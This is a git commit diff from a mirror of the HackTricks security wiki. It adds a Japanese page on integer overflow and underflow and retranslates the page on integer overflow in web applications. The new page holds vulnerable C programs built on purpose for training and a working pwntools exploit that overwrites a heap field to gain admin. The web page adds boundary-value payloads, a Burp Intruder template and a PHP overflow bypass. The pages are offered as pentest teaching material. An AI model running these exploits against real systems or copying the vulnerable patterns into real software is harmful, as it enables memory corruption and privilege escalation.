mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo
This commit is contained in:
parent
2794cd540c
commit
d2013e0d1c
@ -785,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
|
||||
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,368 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**integer overflow** の核心は、コンピュータプログラミングにおけるデータ型の**サイズ**による制限とデータの**解釈**にあります。
|
||||
|
||||
例えば、**8-bit unsigned integer** は **0 to 255** の値を表現できます。8-bit unsigned integer に 256 を格納しようとすると、記憶容量の制限により値は 0 に巻き戻ります。同様に、**16-bit unsigned integer**(**0 to 65,535** を保持できる)では、65,535 に 1 を加えると値は 0 に戻ります。
|
||||
|
||||
さらに、**8-bit signed integer** は **-128 to 127** の値を表現できます。これは符号(正または負)を表すために1ビットが使用され、残りの7ビットが大きさを表すためです。最小の負の数は **-128**(バイナリ `10000000`)で表され、最大の正の数は **127**(バイナリ `01111111`)です。
|
||||
|
||||
Max values for common integer types:
|
||||
| Type | Size (bits) | Min Value | Max Value |
|
||||
|----------------|-------------|--------------------|--------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
short は `int16_t` に相当し、int は `int32_t` に相当し、long は 64bits システムでは `int64_t` に相当します。
|
||||
|
||||
### 最大値
|
||||
|
||||
潜在的な **web vulnerabilities** において、サポートされる最大値を把握しておくことは非常に重要です:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## 例
|
||||
|
||||
### Pure overflow
|
||||
|
||||
出力結果は 0 になります(char を overflow させたため):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
ユーザー入力から符号付き整数が読み取られ、それが適切な検証を行わずに符号なし整数として扱われる文脈で使用される状況を考えてみてください:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
この例では、ユーザーが負の数を入力すると、二進数の値の解釈方法により大きな符号なし整数として扱われ、予期しない動作を引き起こす可能性があります。
|
||||
|
||||
### macOS Overflow Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
次のコマンドでコンパイルする:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
#### Exploit
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
### macOS Underflow の例
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
次のようにコンパイルします:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
### その他の例
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- パスワードのサイズを格納するのに1Bしか使われていないため、オーバーフローさせて長さが4だと誤認させ、実際には260であることで長さチェックの保護を回避できる
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- いくつかの数が与えられたとき、z3を使って最初の数に掛けると2番目の数になる新しい数を見つける:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- パスワードのサイズを格納するのに1Bしか使われていないため、オーバーフローさせて長さが4だと誤認させ、実際には260であることで長さチェックの保護を回避し、さらにスタック上の次のローカル変数を書き換えて両方の保護を突破できる
|
||||
|
||||
## ARM64
|
||||
|
||||
この点は **ARM64 では変わりません**。詳細は [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) を参照してください。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -1,115 +0,0 @@
|
||||
# 整数オーバーフロー
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**整数オーバーフロー**の核心には、コンピュータプログラミングにおけるデータ型の**サイズ**によって課せられる制限とデータの**解釈**があります。
|
||||
|
||||
例えば、**8ビット符号なし整数**は**0から255**までの値を表すことができます。8ビット符号なし整数に256の値を格納しようとすると、そのストレージ容量の制限により0にラップアラウンドします。同様に、**16ビット符号なし整数**は**0から65,535**までの値を保持でき、65,535に1を加えると値は0に戻ります。
|
||||
|
||||
さらに、**8ビット符号付き整数**は**-128から127**までの値を表すことができます。これは、1ビットが符号(正または負)を表すために使用され、残りの7ビットが大きさを表すために使われるからです。最も負の数は**-128**(バイナリ `10000000`)として表され、最も正の数は**127**(バイナリ `01111111`)です。
|
||||
|
||||
### 最大値
|
||||
|
||||
潜在的な**ウェブ脆弱性**にとって、最大サポート値を知ることは非常に興味深いです:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## 例
|
||||
|
||||
### ピュアオーバーフロー
|
||||
|
||||
印刷された結果は0になります。なぜなら、charがオーバーフローしたからです:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
ユーザー入力から符号付き整数が読み取られ、その後適切な検証なしに符号なし整数として扱われる状況を考えてみてください:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
この例では、ユーザーが負の数を入力すると、バイナリ値の解釈方法により、大きな符号なし整数として解釈され、予期しない動作を引き起こす可能性があります。
|
||||
|
||||
### その他の例
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、長さチェック保護を回避します。
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- 数値の組み合わせを与えられた場合、z3を使用して最初の数値と掛け算して2番目の数値を得る新しい数値を見つけます:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、スタック内の次のローカル変数を上書きし、両方の保護を回避します。
|
||||
|
||||
## ARM64
|
||||
|
||||
これは**ARM64では変わりません**。詳細は[**このブログ記事**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)を参照してください。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -1,46 +1,44 @@
|
||||
# 整数オーバーフロー (ウェブアプリケーション)
|
||||
# Integer Overflow (Web Applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> このページでは、**整数オーバーフロー/切り捨てがウェブアプリケーションやブラウザでどのように悪用されるか**に焦点を当てています。ネイティブバイナリ内のエクスプロイトプリミティブについては、専用ページを読み続けることができます:
|
||||
>
|
||||
> このページは、**integer overflows/truncations can be abused in web applications and browsers** に焦点を当てています。ネイティブバイナリ内のエクスプロイトプリミティブについては専用ページを参照してください:
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. なぜウェブ上で整数演算が重要なのか
|
||||
## 1. なぜ integer math がウェブで重要なのか
|
||||
|
||||
現代のスタックのほとんどのビジネスロジックは*メモリ安全*な言語で書かれていますが、基盤となるランタイム(またはサードパーティライブラリ)は最終的にC/C++で実装されています。ユーザー制御の数値がバッファの割り当て、オフセットの計算、または長さチェックに使用されるとき、**32ビットまたは64ビットのラップアラウンドが、見かけ上無害なパラメータを境界外の読み書き、ロジックバイパス、またはDoSに変える可能性があります**。
|
||||
現代のスタックでは多くのビジネスロジックが *memory-safe* な言語で書かれているものの、基盤となるランタイム(またはサードパーティのライブラリ)は最終的に C/C++ で実装されています。ユーザー制御可能な数値がバッファの割当、オフセット計算、長さチェックに使われる場合、**a 32-bit or 64-bit wrap-around may transform an apparently harmless parameter into an out-of-bounds read/write, a logic bypass or a DoS**。
|
||||
|
||||
典型的な攻撃面:
|
||||
典型的な攻撃対象:
|
||||
|
||||
1. **数値リクエストパラメータ** – クラシックなID、オフセット、またはカウントフィールド。
|
||||
2. **長さ/サイズヘッダー** – Content-Length、WebSocketフレームの長さ、HTTP/2 continuation_lenなど。
|
||||
3. **サーバー側またはクライアント側で解析されるファイル形式メタデータ** – 画像の寸法、チャンクサイズ、フォントテーブル。
|
||||
4. **言語レベルの変換** – PHP/Go/Rust FFIにおける符号付き↔符号なしキャスト、V8内のJS Number → int32切り捨て。
|
||||
5. **認証とビジネスロジック** – クーポンの価値、価格、または残高計算が静かにオーバーフローする。
|
||||
1. **Numeric request parameters** – 典型的な id、offset、count フィールド。
|
||||
2. **Length / size headers** – Content-Length、WebSocket フレーム長、HTTP/2 の continuation_len など。
|
||||
3. **File-format metadata parsed server-side or client-side** – 画像の寸法、チャンクサイズ、フォントテーブル。
|
||||
4. **Language-level conversions** – PHP/Go/Rust の FFI における signed↔unsigned キャスト、V8 内での JS Number → int32 トランケーション。
|
||||
5. **Authentication & business logic** – クーポン値、価格、残高計算がサイレントに overflow するケース。
|
||||
|
||||
---
|
||||
|
||||
## 2. 最近の実世界の脆弱性 (2023-2025)
|
||||
## 2. 最近の実世界の脆弱性(2023-2025)
|
||||
|
||||
| 年 | コンポーネント | 根本原因 | 影響 |
|
||||
|------|----------------------------------|-------------------------------------------------------------|------------------------------------------------------------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | デコードされたピクセルサイズを計算する際の32ビット乗算オーバーフロー | Chromeの0-dayを引き起こし(iOSのBLASTPASS)、レンダラーサンドボックス内での*リモートコード実行*を許可。 |
|
||||
| 2024 | **V8 – CVE-2024-0519** | JSArrayを成長させる際の32ビットへの切り捨てがバックストアでのOOB書き込みを引き起こす | 単一の訪問後にリモートコード実行。 |
|
||||
| 2025 | **Apollo GraphQL Server** (未公開パッチ) | 最初/最後のページネーション引数に使用される32ビット符号付き整数; 負の値が巨大な正の値にラップする | ロジックバイパスとメモリ枯渇(DoS)。 |
|
||||
| 年 | コンポーネント | 根本原因 | 影響 |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | デコード後のピクセルサイズを計算する際の 32-bit multiplication overflow | Chrome の 0-day を誘発(iOS 上の BLASTPASS)、レンダラサンドボックス内での *remote code execution* を許可。 |
|
||||
| 2024 | **V8 – CVE-2024-0519** | JSArray を拡張する際の 32-bit への切り捨てが backing store での OOB write を引き起こす | 単一の訪問で Remote code execution。 |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | first/last ページネーション引数に 32-bit signed integer を使用しており、負の値が巨大な正の値に wrap する | ロジックバイパスとメモリ枯渇(DoS)。 |
|
||||
|
||||
---
|
||||
|
||||
## 3. テスト戦略
|
||||
|
||||
### 3.1 境界値チートシート
|
||||
### 3.1 境界値 チートシート
|
||||
|
||||
整数が期待される場所に**極端な符号付き/符号なしの値**を送信します:
|
||||
整数が期待される箇所には、**extreme signed/unsigned values** を送ってください:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -49,28 +47,28 @@
|
||||
9223372036854775807, 9223372036854775808,
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
他の便利なフォーマット:
|
||||
* 16進数 (0x100)、8進数 (0377)、科学的表記 (1e10)、JSONビッグ整数 (9999999999999999999)。
|
||||
* カスタムパーサーにヒットさせるための非常に長い数字列 (>1kB)。
|
||||
その他の有用なフォーマット:
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* 非常に長い数字列(>1kB)でカスタムパーサに問題を起こさせる。
|
||||
|
||||
### 3.2 Burp Intruder テンプレート
|
||||
### 3.2 Burp Intruder template
|
||||
```
|
||||
§INTEGER§
|
||||
Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 Fuzzing libraries & runtimes
|
||||
### 3.3 Fuzzing ライブラリ & ランタイム
|
||||
|
||||
* **AFL++/Honggfuzz** は、パーサーの周りに libFuzzer ハーネスを持っています(例:WebP、PNG、protobuf)。
|
||||
* **Fuzzilli** – JavaScript エンジンの文法を意識したファジングで、V8/JSC の整数切り捨てを狙います。
|
||||
* **boofuzz** – 長さフィールドに焦点を当てたネットワークプロトコルファジング(WebSocket、HTTP/2)。
|
||||
* **AFL++/Honggfuzz** を libFuzzer ハーネスでパーサ周辺に適用(例: WebP, PNG, protobuf)。
|
||||
* **Fuzzilli** – JavaScript エンジンに対する文法対応のfuzzingで V8/JSC の整数切り捨てを狙う。
|
||||
* **boofuzz** – ネットワークプロトコルのfuzzing(WebSocket, HTTP/2)で長さフィールドに注力。
|
||||
|
||||
---
|
||||
|
||||
## 4. Exploitation patterns
|
||||
## 4. Exploitation パターン
|
||||
|
||||
### 4.1 サーバーサイドコードにおけるロジックバイパス(PHPの例)
|
||||
### 4.1 Logic bypass in サーバーサイドコード (PHP example)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,28 +77,28 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 画像デコーダーによるヒープオーバーフロー (libwebp 0-day)
|
||||
WebPのロスレスデコーダーは、32ビット整数内で画像の幅 × 高さ × 4 (RGBA) を掛け算しました。寸法が16384 × 16384のファイルを作成すると、掛け算がオーバーフローし、短いバッファが割り当てられ、その後ヒープを超えて**~1GB**の解凍データが書き込まれます – これにより、116.0.5845.187以前のすべてのChromiumベースのブラウザでRCEが発生します。
|
||||
### 4.2 Heap overflow — 画像デコーダ経由 (libwebp 0-day)
|
||||
WebP のロスレスデコーダは、画像の幅 × 高さ × 4 (RGBA) を 32 ビット int 内で乗算していました。細工された幅と高さ 16384 × 16384 のファイルはこの乗算でオーバーフローし、短いバッファを割り当てた後にヒープの先に **~1GB** の解凍データを書き込みます — これにより 116.0.5845.187 より前のすべての Chromium ベースのブラウザで RCE が発生します。
|
||||
|
||||
### 4.3 ブラウザベースのXSS/RCEチェーン
|
||||
1. V8での**整数オーバーフロー**により、任意の読み書きが可能になります。
|
||||
2. 2つ目のバグでサンドボックスを脱出するか、ネイティブAPIを呼び出してペイロードを落とします。
|
||||
3. ペイロードは、オリジンコンテキストに悪意のあるスクリプトを注入します → ストレージXSS。
|
||||
### 4.3 ブラウザベースの XSS/RCE チェーン
|
||||
1. **Integer overflow** in V8 gives arbitrary read/write.
|
||||
2. 別のバグで sandbox を脱出するか、native APIs を呼び出して payload を配置します。
|
||||
3. payload はその後 origin context に悪意のあるスクリプトを注入し → stored XSS。
|
||||
|
||||
---
|
||||
|
||||
## 5. 防御ガイドライン
|
||||
|
||||
1. **広い型またはチェックされた数学を使用する** – 例: size_t, Rustのchecked_add, Goのmath/bits.Add64。
|
||||
2. **範囲を早期に検証する**: 算術演算の前にビジネスドメイン外の値を拒否します。
|
||||
